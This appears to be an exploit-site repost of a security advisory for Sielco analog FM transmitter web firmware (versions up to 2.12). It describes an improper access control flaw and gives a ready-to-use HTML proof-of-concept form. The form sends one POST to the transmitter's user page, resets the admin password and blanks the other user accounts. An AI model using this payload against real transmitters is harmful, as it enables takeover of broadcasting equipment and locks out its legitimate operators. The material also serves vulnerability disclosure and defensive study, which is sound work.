Sielco analog fm transmitter 2.12 improper access control change admin password Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2023-04-14 | Type : webapps | Platform : hardware
This exploit / vulnerability Sielco analog fm transmitter 2.12 improper access control change admin password is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...

<!--
## Exploit Title: Sielco Analog FM Transmitter 2.12 - Improper Access Control Change Admin Password
## Exploit Author: LiquidWorm


Vendor: Sielco S.r.l
Product web page: https://www.sielco.org
Affected version: 2.12 (EXC5000GX)
2.12 (EXC120GX)
2.11 (EXC300GX)
2.10 (EXC1600GX)
2.10 (EXC2000GX)
2.08 (EXC1600GX)
2.08 (EXC1000GX)
2.07 (EXC3000GX)
2.06 (EXC5000GX)
1.7.7 (EXC30GT)
1.7.4 (EXC300GT)
1.7.4 (EXC100GT)
1.7.4 (EXC5000GT)
1.6.3 (EXC1000GT)
1.5.4 (EXC120GT)

Summary: Sielco designs and produces FM radio transmitters
for professional broadcasting. The in-house laboratory develops
standard and customised solutions to meet all needs. Whether
digital or analogue, each product is studied to ensure reliability,
resistance over time and a high standard of safety. Sielco
transmitters are distributed throughout the world and serve
many radios in Europe, South America, Africa, Oceania and China.

Desc: The application suffers from improper access control when
editing users. A user with Read permissions can manipulate users,
passwords and permissions by sending a single HTTP POST request
with modified parameters and edit other users' names, passwords
and permissions including admin password.

Tested on: lwIP/2.1.1
Web/3.0.3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2023-5756
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5756.php


26.01.2023

-->


<html>
<body>
<form action="http://transmitter/protect/users.htm" method="POST">
<input type="hidden" name="pwd0" value="PWDCHANGED" /> <!-- This will set/modify admin pwd -->
<input type="hidden" name="pwd0bis" value="PWDCHANGED" /> <!-- This will set/modify admin pwd -->
<input type="hidden" name="user1" value="" /> <!-- This will set/modify user1 -->
<input type="hidden" name="pwd1" value="" /> <!-- This will set/modify user1 pwd -->
<input type="hidden" name="pwd1bis" value="" /> <!-- This will set/modify user1 pwd -->
<input type="hidden" name="auth1" value="0" /> <!-- This will set user1 read perm -->
<input type="hidden" name="user2" value="" /> <!-- This will set/modify user2 -->
<input type="hidden" name="pwd2" value="" /> <!-- This will set/modify user2 pwd -->
<input type="hidden" name="pwd2bis" value="" /> <!-- This will set/modify user2 pwd -->
<input type="hidden" name="auth2" value="0" /> <!-- This will set user2 read perm -->
<input type="hidden" name="user3" value="" /> <!-- This will set/modify user3 -->
<input type="hidden" name="pwd3" value="" /> <!-- This will set/modify user3 pwd -->
<input type="hidden" name="pwd3bis" value="" /> <!-- This will set/modify user3 pwd -->
<input type="hidden" name="auth3" value="0" /> <!-- This will set user3 read perm -->
<input type="submit" value="Modify admin pwd, delete all users" />
</form>
</body>
</html>

Sielco analog fm transmitter 2.12 improper access control change admin password


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Sielco analog fm transmitter 2.12 improper access control change admin password Vulnerability / Exploit